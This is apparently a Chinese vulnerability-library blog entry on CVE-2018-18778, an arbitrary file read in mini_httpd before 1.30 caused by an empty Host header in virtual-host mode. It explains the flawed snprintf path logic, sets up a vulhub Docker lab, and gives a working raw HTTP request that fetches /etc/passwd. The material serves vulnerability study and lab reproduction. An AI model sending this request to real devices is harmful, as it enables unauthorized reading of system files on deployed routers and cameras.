mini_httpd任意文件读取漏洞(CVE-2018-18778)


title: ‘mini_httpd任意文件读取漏洞(CVE-2018-18778)’
date: Tue, 06 Oct 2020 07:31:19 +0000
draft: false
tags: [‘白阁-漏洞库’]

#### 前言

Mini\_httpd是一个微型的Http服务器,在占用系统资源较小的情况下可以保持一定程度的性能(约为Apache的90%),因此广泛被各类IOT(路由器,交换器,摄像头等)作为嵌入式服务器。而包括华为,zyxel,海康威视,树莓派等在内的厂商的旗下设备都曾采用Mini\_httpd组件。

#### 影响版本

ACME mini\_httpd before 1.30

#### 漏洞分析

在mini\_httpd开启虚拟主机模式的情况下,用户请求http://HOST/FILE将会访问到当前目录下的HOST/FILE文件。 (void) snprintf( vfile, sizeof(vfile), “%s/%s”, req\_hostname, f ); 见上述代码,分析如下: 当HOST=example.com、FILE=index.html的时候,上述语句结果为example.com/index.html,文件正常读取。 当HOST为空、FILE=etc/passwd的时候,上述语句结果为/etc/passwd。 后者被作为绝对路径,于是读取到了/etc/passwd,造成任意文件读取漏洞。 环境搭建“`
cd vulhub/mini_httpd/CVE-2018-18778

docker-compose up -d

启动mini_httpd 1.29:
![](/static/baige/03-产品漏洞/mini_httpd/mini_httpd%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E%EF%BC%88CVE-2018-18778%EF%BC%89/20200619123111737.png)

环境启动后,访问http://your-ip:8080即可看到Web页面。

#### 漏洞复现

发送请求是将Host置空,PATH的值是文件绝对路径:“`
GET /etc/passwd HTTP/1.1
Host:
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
![](/static/baige/03-产品漏洞/mini_httpd/mini_httpd%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E%EF%BC%88CVE-2018-18778%EF%BC%89/20200619123140386.png)![](/static/baige/03-产品漏洞/mini_httpd/mini_httpd%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E%EF%BC%88CVE-2018-18778%EF%BC%89/20200619123155220.png)

© 版权声明
THE END
喜欢就支持一下吧
点赞0赞赏 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容